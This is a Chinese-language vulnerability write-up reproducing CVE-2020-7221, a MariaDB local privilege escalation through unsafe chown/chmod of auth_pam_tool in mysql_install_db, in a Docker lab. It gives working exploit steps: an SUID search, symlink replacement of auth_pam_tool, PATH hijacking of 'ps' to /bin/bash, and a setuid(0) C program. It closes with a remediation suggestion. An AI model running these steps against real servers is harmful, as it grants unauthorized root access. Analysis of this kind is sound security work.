# (CVE-2020-7221)Mariadb 提权漏洞
=================================
一、漏洞简介
————
MariaDB
10.4.7到10.4.11中的mysql\_install\_db允许将特权从mysql用户帐户升级到root用户,因为chown和chmod的执行不安全,如对auth\_pam\_tool\_dir
/ auth\_pam\_tool的chmod
04755的symlink攻击所证明的那样。注意:这不会影响Oracle
MySQL产品,该产品以不同的方式实现mysql\_install\_db。
二、漏洞影响
————
Mariadb 10.4.7到10.4.11
三、复现过程
————
#### docker环境搭建:
1. docker pull mariadb:10.4.8
2. docker run -it 2ef19234ff46 /bin/bash
#### 漏洞分析
首先定位漏洞点。
find / -name “mysql_install_db”
![](/static/qingy/(CVE-2020-7221)Mariadb_提权漏洞/img/rId26.png)
在bash脚本上下文中,如果\$user被定义则能进入「配置不当」漏洞点。
chown $user “$pamtooldir/auth_pam_tool_dir”
chmod 0700 “$pamtooldir/auth_pam_tool_dir”
这里配置了auth\_pam\_tool\_dir目录的归属权和所有权,权限归属于\$user。
(这里是可控点之一)
chown 0 “$pamtooldir/auth_pam_tool_dir/auth_pam_tool”
chmod 04755 “$pamtooldir/auth_pam_tool_dir/auth_pam_tool”
这里配置了auth\_pam\_tool文件为0(root)所有权,4755文件权限(4为suid权限)。想要进入这个漏洞点需要\$srcdir变量值长度为0才能触发。
关于suid属性:
> SUID属性一般用在可执行文件上,当用户执行该文件时,会「临时拥有该执行文件的所有者权限」。一旦程序拥有SUID权限的话,运行该程序时会以最高权限运行。
##### 回溯 \$srcdir 与 \$user
1. \$user
![](/static/qingy/(CVE-2020-7221)Mariadb_提权漏洞/img/rId28.png)
在脚本传递args参数时可控制\$user变量。
1. \$srcdir
![](/static/qingy/(CVE-2020-7221)Mariadb_提权漏洞/img/rId29.png)
也在初始化操作时可控制变量,初始化时为空。
那么想要进入这个漏洞点需要\$srcdir为空,\$user需要设置值。
结合上文描述使用此命令才能触发漏洞点:
./mysql_install_db –user=mysql
#### 漏洞复现
寻找suid属性的程序
find /* -perm -u=s -type f 2>/dev/null
搜索到的suid属性程序「auth\_pam\_tool」替换成我们的恶意suid程序。
1. rm auth_pam_tool
2. ln -s /root/pwn auth_pam_tool
3. export PATH=.:$PATH
4. ln -s /bin/bash ps
编写一个具有suid权限的恶意程序:
#include
#include
int main(void)
{
setuid(0);
setgid(0);
system(“ps”);
return 0;
}
![](/static/qingy/(CVE-2020-7221)Mariadb_提权漏洞/img/rId31.png)
切换回root,在root权限下运行mysql\_install\_db脚本(触发修改chmod命令)
![](/static/qingy/(CVE-2020-7221)Mariadb_提权漏洞/img/rId32.png)
再回到mysql用户权限下执行auth\_pam\_tool
![](/static/qingy/(CVE-2020-7221)Mariadb_提权漏洞/img/rId33.png)
提权成功。
可以看到这个漏洞是由于suid与目录权限设置不当,才导致被提权利用的风险。建议在修复中设置auth\_pam\_tool\_dir目录权限为root所有:
root:mysql 0750 /usr/lib/mysql/plugin/auth_pam_tool_dir
参考链接
——–
>
请登录后查看评论内容